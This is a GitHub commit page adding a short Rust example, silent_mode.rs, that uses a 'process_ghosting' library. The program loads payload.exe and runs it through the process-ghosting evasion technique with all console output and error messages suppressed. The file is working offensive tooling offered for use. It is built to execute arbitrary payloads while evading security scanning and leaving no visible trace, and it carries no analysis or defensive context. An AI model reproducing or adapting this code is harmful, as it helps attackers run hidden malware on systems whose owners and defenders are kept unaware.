Skip to content

Commit 600fde2

Browse files
committed
Create silent_mode.rs
1 parent 3a1a18f commit 600fde2

File tree

1 file changed

+25
-0
lines changed

1 file changed

+25
-0
lines changed
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
//! Silent execution without console output
2+
//! Author: BlackTechX
3+
4+
use process_ghosting::GhostingBuilder;
5+
6+
fn main() {
7+
// No init() call = no banner
8+
9+
let payload = match std::fs::read("payload.exe") {
10+
Ok(p) => p,
11+
Err(_) => {
12+
// Silent failure - no output
13+
std::process::exit(1);
14+
}
15+
};
16+
17+
// Silent execution - no output at all
18+
let result = GhostingBuilder::new(&payload)
19+
.x64()
20+
.silent() // Disable all output
21+
.execute();
22+
23+
// Exit with appropriate code
24+
std::process::exit(if result.is_ok() { 0 } else { 1 });
25+
}

0 commit comments

Comments
 (0)